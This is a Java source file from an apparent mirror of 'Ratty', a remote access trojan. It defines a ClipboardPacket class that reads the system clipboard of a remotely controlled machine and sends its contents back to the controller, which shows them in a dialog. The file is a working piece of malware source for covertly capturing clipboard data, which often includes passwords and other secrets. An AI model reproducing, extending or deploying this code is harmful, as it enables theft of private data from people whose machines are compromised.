mirror of https://github.com/LucaBongiorni/Ratty
You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
75 lines
1.8 KiB
75 lines
1.8 KiB
package de.sogomn.rat.packet;
|
|
|
|
import java.awt.HeadlessException;
|
|
import java.awt.Toolkit;
|
|
import java.awt.datatransfer.Clipboard;
|
|
import java.awt.datatransfer.DataFlavor;
|
|
import java.awt.datatransfer.UnsupportedFlavorException;
|
|
import java.io.IOException;
|
|
|
|
import javax.swing.JDialog;
|
|
import javax.swing.JOptionPane;
|
|
|
|
import de.sogomn.rat.ActiveConnection;
|
|
|
|
public final class ClipboardPacket extends AbstractPingPongPacket {
|
|
|
|
private String clipboardContent;
|
|
|
|
public ClipboardPacket() {
|
|
type = REQUEST;
|
|
clipboardContent = "";
|
|
}
|
|
|
|
@Override
|
|
protected void sendRequest(final ActiveConnection connection) {
|
|
//...
|
|
}
|
|
|
|
@Override
|
|
protected void sendData(final ActiveConnection connection) {
|
|
connection.writeUTF(clipboardContent);
|
|
}
|
|
|
|
@Override
|
|
protected void receiveRequest(final ActiveConnection connection) {
|
|
//...
|
|
}
|
|
|
|
@Override
|
|
protected void receiveData(final ActiveConnection connection) {
|
|
clipboardContent = connection.readUTF();
|
|
}
|
|
|
|
@Override
|
|
protected void executeRequest(final ActiveConnection connection) {
|
|
type = DATA;
|
|
|
|
try {
|
|
final Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
|
|
final Object clipboardObject = clipboard.getData(DataFlavor.stringFlavor);
|
|
|
|
if (clipboardObject != null) {
|
|
clipboardContent = (String)clipboardObject;
|
|
}
|
|
} catch (final HeadlessException | UnsupportedFlavorException | IOException ex) {
|
|
clipboardContent = "";
|
|
}
|
|
|
|
connection.addPacket(this);
|
|
}
|
|
|
|
@Override
|
|
protected void executeData(final ActiveConnection connection) {
|
|
final JOptionPane optionPane = new JOptionPane(clipboardContent);
|
|
final JDialog dialog = optionPane.createDialog(null);
|
|
|
|
dialog.setModal(false);
|
|
dialog.setVisible(true);
|
|
}
|
|
|
|
public String getClipbordContent() {
|
|
return clipboardContent;
|
|
}
|
|
|
|
}
|